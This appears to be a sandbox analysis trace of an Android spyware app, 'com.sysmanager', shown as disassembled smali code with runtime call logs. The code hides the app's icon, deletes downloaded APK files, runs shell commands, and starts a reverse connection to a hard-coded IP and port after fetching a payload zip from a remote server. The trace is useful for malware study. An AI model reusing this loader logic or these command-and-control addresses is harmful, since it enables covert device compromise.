39invoke-virtual {v1, v2}, Lcom/sysmanager/storage/DeleteApkFiles;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
41invoke-virtual {p0}, Lcom/sysmanager/Main;->getPackageManager()Landroid/content/pm/PackageManager;
42move-result-object v1
44invoke-virtual {p0}, Lcom/sysmanager/Main;->getComponentName()Landroid/content/ComponentName;
45move-result-object v2
47invoke-virtual {v1, v2, v5, v4}, Landroid/content/pm/PackageManager;->setComponentEnabledSetting(Landroid/content/ComponentName;II)V
48new-instance v1, Landroid/content/Intent;
49const-class v2, Lcom/sysmanager/system/AndroidClock;
51invoke-direct {v1, p0, v2}, Landroid/content/Intent;-><init>(Landroid/content/Context;Ljava/lang/Class;)V
53invoke-virtual {p0, v1}, Lcom/sysmanager/Main;->startService(Landroid/content/Intent;)Landroid/content/ComponentName;
  • Time: 77434
    • This:
      • com.sysmanager.Main@db011ec
    • p0: Intent { cmp=com.sysmanager/.system.AndroidClock }
    • Return:
      • ComponentInfo{com.sysmanager/com.sysmanager.system.AndroidClock}
54new-instance v1, Lcom/sysmanager/network/StartReverse;
56invoke-direct {v1}, Lcom/sysmanager/network/StartReverse;-><init>()V
57const/4 v2, 0x4
58new-array v2, v2, [Ljava/lang/Object;
59aput-object p0, v2, v3
61const-string v3, "http://url.plus/Updates/"
62aput-object v3, v2, v4
64const-string v3, "54.67.109.199"
65aput-object v3, v2, v5
66const/4 v3, 0x3
68const-string v4, "21070"
69aput-object v4, v2, v3
71invoke-virtual {v1, v2}, Lcom/sysmanager/network/StartReverse;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
72return-void
Cross References
APIs
  • java.lang.Runtime.getRuntime
  • java.lang.Runtime.exec
  • java.lang.Process.getInputStream
  • java.io.InputStreamReader.<init>
  • java.io.BufferedReader.<init>
  • java.lang.StringBuilder.<init>
  • java.io.BufferedReader.read
  • java.lang.StringBuilder.append
  • com.sysmanager.Scontext.getContext
  • java.io.BufferedReader.close
  • java.lang.Process.waitFor
  • java.lang.StringBuilder.toString
Strings
  • -c
Position Instruction Meta Information
0.param p0, "command" # Ljava/lang/String;
1.param p1, "typeBin" # Ljava/lang/String;
2.prologue
3const/4 v9, 0x0
5const-string v3, ""
6const/4 v8, 0x3
7new-array v7, v8, [Ljava/lang/String;
8aput-object p1, v7, v9
9const/4 v8, 0x1
11const-string v9, "-c"
12aput-object v9, v7, v8
13const/4 v8, 0x2
14aput-object p0, v7, v8
15try_start_10:
16invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
17move-result-object v8
19invoke-virtual {v8, v7}, Ljava/lang/Runtime;->exec([Ljava/lang/String;)Ljava/lang/Process;
20move-result-object v4
21new-instance v6, Ljava/io/BufferedReader;
22new-instance v8, Ljava/io/InputStreamReader;
24invoke-virtual {v4}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
25move-result-object v9
27invoke-direct {v8, v9}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
29invoke-direct {v6, v8}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
30const/16 v8, 0x1000
31new-array v0, v8, [C
32new-instance v2, Ljava/lang/StringBuilder;
34invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
35goto_2f:
36invoke-virtual {v6, v0}, Ljava/io/BufferedReader;->read([C)I
  • Time: 89774
    • This:
      • java.io.BufferedReader@27e4f9bd
    • p0: [C@25c41bb2
    • p0: acctcachechargerconfigddatadefault.propdevetcfile_contextsfstab.android_x86initinit.android_x86.rcinit.bluetooth.rcinit.environ.rcinit.rcinit.superuser.rcinit.trace.rcinit.usb.rcinit.zygote32.rclibmntprocproperty_contextssbinsdcardseapp_contextsselinux_versionsepolicyservice_contextsstoragesyssystemueventd.android_x86.rcueventd.rcvendorx86.prop
    • Return:
      • 383
  • Time: 89779
    • This:
      • java.io.BufferedReader@27e4f9bd
    • p0: [C@25c41bb2
    • p0: acctcachechargerconfigddatadefault.propdevetcfile_contextsfstab.android_x86initinit.android_x86.rcinit.bluetooth.rcinit.environ.rcinit.rcinit.superuser.rcinit.trace.rcinit.usb.rcinit.zygote32.rclibmntprocproperty_contextssbinsdcardseapp_contextsselinux_versionsepolicyservice_contextsstoragesyssystemueventd.android_x86.rcueventd.rcvendorx86.prop
    • Return:
      • -1
  • Time: 203511
    • This:
      • java.io.BufferedReader@1285eb82
    • p0: [C@19531293
    • p0: acctcachechargerconfigddatadefault.propdevetcfile_contextsfstab.android_x86initinit.android_x86.rcinit.bluetooth.rcinit.environ.rcinit.rcinit.superuser.rcinit.trace.rcinit.usb.rcinit.zygote32.rclibmntprocproperty_contextssbinsdcardseapp_contextsselinux_versionsepolicyservice_contextsstoragesyssystemueventd.android_x86.rcueventd.rcvendorx86.prop
    • Return:
      • 383
  • Time: 203542
    • This:
      • java.io.BufferedReader@1285eb82
    • p0: [C@19531293
    • p0: acctcachechargerconfigddatadefault.propdevetcfile_contextsfstab.android_x86initinit.android_x86.rcinit.bluetooth.rcinit.environ.rcinit.rcinit.superuser.rcinit.trace.rcinit.usb.rcinit.zygote32.rclibmntprocproperty_contextssbinsdcardseapp_contextsselinux_versionsepolicyservice_contextsstoragesyssystemueventd.android_x86.rcueventd.rcvendorx86.prop
    • Return:
      • -1
37move-result v5
38if-lez v5, :cond_47
39const/4 v8, 0x0
41invoke-virtual {v2, v0, v8, v5}, Ljava/lang/StringBuilder;->append([CII)Ljava/lang/StringBuilder;
42try_end_39: goto/16 :goto_2f
43catch_3a: move-exception v1
44goto_3b:
45invoke-static {}, Lcom/sysmanager/Scontext;->getContext()Landroid/content/Context;
46move-result-object v8
48invoke-static {v1}, Lcom/sysmanager/costanti/Costanti;->printStackTrace(Ljava/lang/Exception;)Ljava/lang/String;
49move-result-object v9
51invoke-static {v8, v9}, Lcom/sysmanager/system/FileLog;->write(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/Boolean;
52goto_46: return-object v3
53try_start_47:
54invoke-virtual {v6}, Ljava/io/BufferedReader;->close()V
56invoke-virtual {v4}, Ljava/lang/Process;->waitFor()I
58invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
59try_end_50: move-result-object v3
60goto/16 :goto_46
61catch_52: move-exception v1
62goto/16 :goto_3b
APIs
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
Strings
  • startup.
  • .zip
Position Instruction Meta Information
0.prologue
1sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
2const/16 v1, 0x15
3if-lt v0, v1, :cond_27
4new-instance v0, Ljava/lang/StringBuilder;
6invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
8const-string v1, "startup."
10invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
11move-result-object v0
13sget-object v1, Landroid/os/Build;->SUPPORTED_ABIS:[Ljava/lang/String;
  • Time: 77437
    • Return:
      • [Ljava.lang.String;@3adab8f
      • Arrays.toString: [x86, armeabi-v7a, armeabi]
14const/4 v2, 0x0
15aget-object v1, v1, v2
17invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
18move-result-object v0
20const-string v1, ".zip"
22invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
23move-result-object v0
25invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
26move-result-object v0
27sput-object v0, Lcom/sysmanager/network/StartReverse;->REVERSE_ZIP:Ljava/lang/String;
28goto_26: return-void
29cond_27: new-instance v0, Ljava/lang/StringBuilder;
31invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
33const-string v1, "startup."
35invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
36move-result-object v0
38sget-object v1, Landroid/os/Build;->CPU_ABI:Ljava/lang/String;
40invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
41move-result-object v0
43const-string v1, ".zip"
45invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
46move-result-object v0
48invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
49move-result-object v0
50sput-object v0, Lcom/sysmanager/network/StartReverse;->REVERSE_ZIP:Ljava/lang/String;
51goto/16 :goto_26
Cross References
APIs
  • com.sysmanager.Main.checkCallingOrSelfPermission
  • android.os.Environment.getExternalStoragePublicDirectory
  • java.io.File.exists
  • java.io.File.listFiles
  • java.io.File.getName
  • java.lang.String.endsWith
  • java.io.File.delete
Strings
  • android.permission.WRITE_EXTERNAL_STORAGE
  • .apk
Position Instruction Meta Information
0.param p1, "contexts" # [Landroid/content/Context;
1.prologue
2const/4 v4, 0x0
3aget-object v0, p1, v4
5const-string v5, "android.permission.WRITE_EXTERNAL_STORAGE"
7invoke-virtual {v0, v5}, Landroid/content/Context;->checkCallingOrSelfPermission(Ljava/lang/String;)I
  • Time: 77430
    • This:
      • com.sysmanager.Main@db011ec
    • p0: android.permission.WRITE_EXTERNAL_STORAGE
    • Return:
      • 0
8move-result v5
9if-nez v5, :cond_37
11sget-object v5, Landroid/os/Environment;->DIRECTORY_DOWNLOADS:Ljava/lang/String;
13invoke-static {v5}, Landroid/os/Environment;->getExternalStoragePublicDirectory(Ljava/lang/String;)Ljava/io/File;
14move-result-object v1
16invoke-virtual {v1}, Ljava/io/File;->exists()Z
  • Time: 77447
    • This:
      • /storage/emulated/0/Download
    • Return:
      • true
17move-result v5
18if-eqz v5, :cond_37
20invoke-virtual {v1}, Ljava/io/File;->listFiles()[Ljava/io/File;
21move-result-object v2
22if-eqz v2, :cond_37
23array-length v5, v2
24if-lez v5, :cond_37
25array-length v5, v2
26goto_21: if-ge v4, v5, :cond_37
27aget-object v3, v2, v4
29invoke-virtual {v3}, Ljava/io/File;->getName()Ljava/lang/String;
30move-result-object v6
32const-string v7, ".apk"
34invoke-virtual {v6, v7}, Ljava/lang/String;->endsWith(Ljava/lang/String;)Z
35move-result v6
36if-eqz v6, :cond_34
38invoke-virtual {v3}, Ljava/io/File;->delete()Z
39cond_34: add-int/lit8 v4, v4, 0x1
40goto/16 :goto_21
41cond_37: const/4 v4, 0x0
42return-object v4
Cross References
APIs
  • java.security.KeyPair.getPublic
  • java.security.PublicKey.getEncoded
  • java.security.MessageDigest.getInstance
  • java.security.MessageDigest.digest
  • android.util.Base64.encodeToString
  • android.util.Log.w
Strings
  • SHA1
  • FirebaseInstanceId
  • Unexpected error, device missing required alghorithms
Position Instruction Meta Information
1invoke-virtual {p0}, Ljava/security/KeyPair;->getPublic()Ljava/security/PublicKey;
2move-result-object v0
4invoke-interface {v0}, Ljava/security/PublicKey;->getEncoded()[B
5move-result-object v0
6try_start_8:
7const-string v1, "SHA1"
9invoke-static {v1}, Ljava/security/MessageDigest;->getInstance(Ljava/lang/String;)Ljava/security/MessageDigest;
  • Time: 201720
    • p0: SHA1
    • Return:
      • MESSAGE DIGEST SHA1
10move-result-object v1
12invoke-virtual {v1, v0}, Ljava/security/MessageDigest;->digest([B)[B
13move-result-object v0
14const/4 v1, 0x0
15aget-byte v1, v0, v1
16and-int/lit8 v1, v1, 0xf
17add-int/lit8 v1, v1, 0x70
18const/4 v2, 0x0
19and-int/lit16 v1, v1, 0xff
20int-to-byte v1, v1
21aput-byte v1, v0, v2
22const/4 v1, 0x0
23const/16 v2, 0x8
24const/16 v3, 0xb
26invoke-static {v0, v1, v2, v3}, Landroid/util/Base64;->encodeToString([BIII)Ljava/lang/String;
27try_end_27: move-result-object v0
28goto_28: return-object v0
29catch_29: move-exception v0
31const-string v0, "FirebaseInstanceId"
33const-string v1, "Unexpected error, device missing required alghorithms"
35invoke-static {v0, v1}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
36const/4 v0, 0x0
37goto/16 :goto_28
Cross References
APIs
  • com.sysmanager.system.RegistrationService.getSystemService
  • android.net.ConnectivityManager.getActiveNetworkInfo
  • android.net.NetworkInfo.isConnected
  • android.net.NetworkInfo.getType
Strings
  • connectivity
Position Instruction Meta Information
0.param p0, "context" # Landroid/content/Context;
1.prologue
2const/4 v2, 0x1
4const-string v3, "connectivity"
6invoke-virtual {p0, v3}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Time: 201003
    • This:
      • com.sysmanager.system.RegistrationService@990f6dc
    • p0: connectivity
    • Return:
      • android.net.ConnectivityManager@dd68dd4
7move-result-object v1
8check-cast v1, Landroid/net/ConnectivityManager;
10invoke-virtual {v1}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
11move-result-object v0
12if-eqz v0, :cond_24
14invoke-virtual {v0}, Landroid/net/NetworkInfo;->isConnected()Z
15move-result v3
16if-eqz v3, :cond_24
18invoke-virtual {v0}, Landroid/net/NetworkInfo;->getType()I
19move-result v3
20if-ne v3, v2, :cond_1c
21goto_1b: return v2
22cond_1c:
23invoke-virtual {v0}, Landroid/net/NetworkInfo;->getType()I
24move-result v2
25if-nez v2, :cond_24
26const/4 v2, 0x2
27goto/16 :goto_1b
28cond_24: const/4 v2, 0x0
29goto/16 :goto_1b
Cross References
APIs
  • android.net.ConnectivityManager.getActiveNetworkInfo
  • com.sysmanager.system.RegistrationService.stopSelf
  • com.sysmanager.system.RegistrationService.getReqKeyJSON
  • com.sysmanager.system.RegistrationService.getApplicationContext
Strings
  • http://url.plus/app/pro/req_server_key.php
Position Instruction Meta Information
0.prologue
2invoke-static {p0}, Lcom/sysmanager/network/NetworkUtil;->getConnectivityStatus(Landroid/content/Context;)I
  • Time: 201004
    • This:
      • android.net.ConnectivityManager@dd68dd4
    • Return:
      • [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
  • Time: 201022
    • This:
      • [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
    • Return:
      • true
3move-result v1
4if-nez v1, :cond_c
6invoke-virtual {p0}, Lcom/sysmanager/system/RegistrationService;->stopSelf()V
8const-string v1, ""
9goto_b: return-object v1
10cond_c:
11const-string v0, "http://url.plus/app/pro/req_server_key.php"
13invoke-direct {p0}, Lcom/sysmanager/system/RegistrationService;->getReqKeyJSON()Lorg/json/JSONObject;
14move-result-object v1
16invoke-virtual {p0}, Lcom/sysmanager/system/RegistrationService;->getApplicationContext()Landroid/content/Context;
17move-result-object v2
19invoke-static {v0, v1, v2}, Lcom/sysmanager/network/HTTPUtility;->excuteHttpPost(Ljava/lang/String;Lorg/json/JSONObject;Landroid/content/Context;)Ljava/lang/String;
20move-result-object v1
21goto/16 :goto_b
Cross References
APIs
  • com.sysmanager.InstanceIDMessage.getSystemService
  • android.net.ConnectivityManager.getActiveNetworkInfo
  • android.net.NetworkInfo.isConnected
Strings
  • connectivity
Position Instruction Meta Information
1const-string v0, "connectivity"
3invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
  • Time: 203796
    • This:
      • com.sysmanager.InstanceIDMessage@13e8410b
    • p0: connectivity
    • Return:
      • android.net.ConnectivityManager@17373be8
  • Time: 215409
    • This:
      • com.sysmanager.InstanceIDMessage@1b0e0c7
    • p0: connectivity
    • Return:
      • android.net.ConnectivityManager@3db686f4
4move-result-object v0
5check-cast v0, Landroid/net/ConnectivityManager;
7invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
  • Time: 203806
    • This:
      • android.net.ConnectivityManager@17373be8
    • Return:
      • [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
8move-result-object v0
9if-eqz v0, :cond_16
11invoke-virtual {v0}, Landroid/net/NetworkInfo;->isConnected()Z
  • Time: 203807
    • This:
      • [type: Ethernet[], state: CONNECTED/CONNECTED, reason: (unspecified), extra: 08:00:27:4c:bc:fa, roaming: false, failover: false, isAvailable: true, isConnectedToProvisioningNetwork: false]
    • Return:
      • true
12move-result v0
13if-eqz v0, :cond_16
14const/4 v0, 0x1
15goto_15: return v0
16cond_16: const/4 v0, 0x0
17goto/16 :goto_15
Cross References
APIs
  • android.app.SharedPreferencesImpl.getString
Strings
  • |T|108944492905|*
Position Instruction Meta Information
0monitor-enter p0
1try_start_1:
2iget-object v0, p0, Lcom/google/firebase/iid/zzh;->zzbif:Landroid/content/SharedPreferences;
4invoke-direct {p0, p1, p2, p3}, Lcom/google/firebase/iid/zzh;->zzt(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
5move-result-object v1
6const/4 v2, 0x0
8invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
  • Time: 200771
    • This:
      • android.app.SharedPreferencesImpl@3a065a3f
    • p0: |T|108944492905|*
    • p1: null
    • Return:
      • null
9move-result-object v0
11invoke-static {v0}, Lcom/google/firebase/iid/zzh$zza;->zzjA(Ljava/lang/String;)Lcom/google/firebase/iid/zzh$zza;
12try_end_f: move-result-object v0
13monitor-exit p0
14return-object v0
15catchall_12: move-exception v0
16monitor-exit p0
17throw v0
Cross References
APIs
  • android.content.Intent.getStringExtra
  • android.content.Intent.getExtras
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.w
  • android.util.Log.isLoggable
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.String.concat
  • android.util.Log.d
  • java.lang.String.startsWith
  • java.lang.String.split
  • java.lang.String.equals
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.String.concat
  • android.util.Log.w
  • java.lang.String.startsWith
  • java.lang.String.substring
  • android.content.Intent.putExtra
  • android.content.Intent.getLongExtra
  • android.os.SystemClock.elapsedRealtime
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.w
  • java.lang.String.<init>
  • java.lang.String.equals
  • com.google.firebase.iid.zzf.zzeF
Strings
  • SERVICE_NOT_AVAILABLE
  • error
  • InstanceID/Rpc
  • Unexpected response, no error or registration id
  • Received InstanceID error
  • |
  • \\|
  • ID
  • Unexpected structured response
  • :
  • Retry-After
  • Explicit request from server to backoff:
  • UNKNOWN
  • AUTHENTICATION_FAILED
Position Instruction Meta Information
0const-wide/16 v10, 0x0
1const/4 v8, 0x3
2const/4 v7, 0x2
3const/4 v6, 0x1
5const-string v0, "error"
7invoke-virtual {p1, v0}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Time: 203769
    • This:
      • Intent { act=com.google.android.c2dm.intent.REGISTRATION (has extras) }
    • p0: error
    • Return:
      • SERVICE_NOT_AVAILABLE
8move-result-object v2
9if-nez v2, :cond_38
11const-string v0, "InstanceID/Rpc"
13invoke-virtual {p1}, Landroid/content/Intent;->getExtras()Landroid/os/Bundle;
14move-result-object v1
16invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
17move-result-object v1
19invoke-static {v1}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
20move-result-object v2
22invoke-virtual {v2}, Ljava/lang/String;->length()I
23move-result v2
24add-int/lit8 v2, v2, 0x31
25new-instance v3, Ljava/lang/StringBuilder;
27invoke-direct {v3, v2}, Ljava/lang/StringBuilder;-><init>(I)V
29const-string v2, "Unexpected response, no error or registration id "
31invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
32move-result-object v2
34invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
35move-result-object v1
37invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
38move-result-object v1
40invoke-static {v0, v1}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
41goto_37: return-void
42cond_38:
43const-string v0, "InstanceID/Rpc"
45invoke-static {v0, v8}, Landroid/util/Log;->isLoggable(Ljava/lang/String;I)Z
46move-result v0
47if-eqz v0, :cond_55
49const-string v1, "InstanceID/Rpc"
51const-string v3, "Received InstanceID error "
53invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
54move-result-object v0
56invoke-virtual {v0}, Ljava/lang/String;->length()I
57move-result v4
58if-eqz v4, :cond_db
60invoke-virtual {v3, v0}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
61move-result-object v0
62goto_52:
63invoke-static {v1, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
64cond_55: const/4 v1, 0x0
66const-string v0, "|"
68invoke-virtual {v2, v0}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
69move-result v0
70if-eqz v0, :cond_103
72const-string v0, "\\|"
74invoke-virtual {v2, v0}, Ljava/lang/String;->split(Ljava/lang/String;)[Ljava/lang/String;
75move-result-object v3
77const-string v0, "ID"
78aget-object v4, v3, v6
80invoke-virtual {v0, v4}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
81move-result v0
82if-nez v0, :cond_83
84const-string v4, "InstanceID/Rpc"
86const-string v5, "Unexpected structured response "
88invoke-static {v2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
89move-result-object v0
91invoke-virtual {v0}, Ljava/lang/String;->length()I
92move-result v2
93if-eqz v2, :cond_e2
95invoke-virtual {v5, v0}, Ljava/lang/String;->concat(Ljava/lang/String;)Ljava/lang/String;
96move-result-object v0
97goto_80:
98invoke-static {v4, v0}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
99cond_83: array-length v0, v3
100if-le v0, v7, :cond_e8
101aget-object v0, v3, v7
102aget-object v1, v3, v8
104const-string v2, ":"
106invoke-virtual {v1, v2}, Ljava/lang/String;->startsWith(Ljava/lang/String;)Z
107move-result v2
108if-eqz v2, :cond_96
110invoke-virtual {v1, v6}, Ljava/lang/String;->substring(I)Ljava/lang/String;
111move-result-object v1
112cond_96:
113const-string v2, "error"
115invoke-virtual {p1, v2, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
116goto_9b:
117invoke-direct {p0, v0, v1}, Lcom/google/firebase/iid/zzf;->zzay(Ljava/lang/String;Ljava/lang/String;)V
119const-string v0, "Retry-After"
121invoke-virtual {p1, v0, v10, v11}, Landroid/content/Intent;->getLongExtra(Ljava/lang/String;J)J
122move-result-wide v2
123cmp-long v0, v2, v10
124if-lez v0, :cond_ee
126invoke-static {}, Landroid/os/SystemClock;->elapsedRealtime()J
127move-result-wide v0
128iput-wide v0, p0, Lcom/google/firebase/iid/zzf;->zzbia:J
129long-to-int v0, v2
130mul-int/lit16 v0, v0, 0x3e8
131iput v0, p0, Lcom/google/firebase/iid/zzf;->zzbic:I
133invoke-static {}, Landroid/os/SystemClock;->elapsedRealtime()J
134move-result-wide v0
135iget v2, p0, Lcom/google/firebase/iid/zzf;->zzbic:I
136int-to-long v2, v2
137add-long/2addr v0, v2
138iput-wide v0, p0, Lcom/google/firebase/iid/zzf;->zzbid:J
140const-string v0, "InstanceID/Rpc"
141iget v1, p0, Lcom/google/firebase/iid/zzf;->zzbic:I
142const/16 v2, 0x34
143new-instance v3, Ljava/lang/StringBuilder;
145invoke-direct {v3, v2}, Ljava/lang/StringBuilder;-><init>(I)V
147const-string v2, "Explicit request from server to backoff: "
149invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
150move-result-object v2
152invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
153move-result-object v1
155invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
156move-result-object v1
158invoke-static {v0, v1}, Landroid/util/Log;->w(Ljava/lang/String;Ljava/lang/String;)I
159goto/16 :goto_37
160cond_db: new-instance v0, Ljava/lang/String;
162invoke-direct {v0, v3}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
163goto/16 :goto_52
164cond_e2: new-instance v0, Ljava/lang/String;
166invoke-direct {v0, v5}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
167goto/16 :goto_80
168cond_e8:
169const-string v0, "UNKNOWN"
170move-object v12, v1
171move-object v1, v0
172move-object v0, v12
173goto/16 :goto_96
174cond_ee:
175const-string v0, "SERVICE_NOT_AVAILABLE"
177invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
178move-result v0
179if-nez v0, :cond_fe
181const-string v0, "AUTHENTICATION_FAILED"
183invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
184move-result v0
185if-eqz v0, :cond_37
186cond_fe:
187invoke-direct {p0, v1}, Lcom/google/firebase/iid/zzf;->zzeF(Ljava/lang/String;)V
  • Time: 203794
    • This:
      • com.google.firebase.iid.zzf@5c168da
    • p0: SERVICE_NOT_AVAILABLE
    • Return:
      • null
188goto/16 :goto_37
189cond_103: move-object v0, v1
190move-object v1, v2
191goto/16 :goto_9b
Cross References
APIs
  • android.os.SystemClock.elapsedRealtime
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • java.lang.String.equals
  • android.util.Log.isLoggable
  • android.content.Intent.getExtras
  • java.lang.String.valueOf
  • java.lang.String.length
  • java.lang.StringBuilder.<init>
  • java.lang.StringBuilder.append
  • java.lang.StringBuilder.toString
  • android.util.Log.d
  • android.content.Context.startService
  • android.content.Intent.putExtra
  • android.os.Message.obtain
  • android.os.Messenger.send
  • android.util.Log.isLoggable
  • android.util.Log.d
  • android.content.Context.sendBroadcast
  • com.sysmanager.Scontext.startService
Strings
  • |ID|
  • |
  • kid
  • |ID|0|
  • |ID|1|
  • |ID|2|
  • X-kid
  • com.google.android.gsf
  • InstanceID/Rpc
  • Sending
  • google.messenger
  • Messenger failed, fallback to startService
Position Instruction Meta Information
0const/4 v5, 0x3
2invoke-static {}, Landroid/os/SystemClock;->elapsedRealtime()J
3move-result-wide v0
4iput-wide v0, p0, Lcom/google/firebase/iid/zzf;->zzbhZ:J
6const-string v0, "kid"
8invoke-static {p2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
9move-result-object v1
11invoke-virtual {v1}, Ljava/lang/String;->length()I
12move-result v1
13add-int/lit8 v1, v1, 0x5
14new-instance v2, Ljava/lang/StringBuilder;
16invoke-direct {v2, v1}, Ljava/lang/StringBuilder;-><init>(I)V
18const-string v1, "|ID|"
20invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
21move-result-object v1
23invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
24move-result-object v1
26const-string v2, "|"
28invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
29move-result-object v1
31invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
32move-result-object v1
34invoke-virtual {p1, v0, v1}, Landroid/content/Intent;->putExtra(Ljava/lang/String;Ljava/lang/String;)Landroid/content/Intent;
  • Time: 201794
    • This:
      • Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
    • p0: kid
    • p1: |ID|0|
    • Return:
      • Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
  • Time: 201920
    • This:
      • Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
    • p0: kid
    • p1: |ID|1|
    • Return:
      • Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
  • Time: 214088
    • This:
      • Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
    • p0: kid
    • p1: |ID|2|
    • Return:
      • Intent { act=com.google.android.c2dm.intent.REGISTER pkg=com.google.android.gms (has extras) }
36const-string v0, "X-kid"
38invoke-static {p2}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String;
39move-result-object v1
41invoke-virtual {v1}, Ljava/lang/String;->length()I
42move-result v1
43add-int/lit8 v1, v1, 0x5
44new-instance v2, Ljava/lang/StringBuilder;
46invoke-direct {v2, v1}, Ljava/lang/StringBuilder;-><init>(I)V
48const-string v1, "|ID|"
50invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
51move-result-object v1
53invoke-virtual {v1, p2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
54move-result-object v1
56const-string v2, "|"
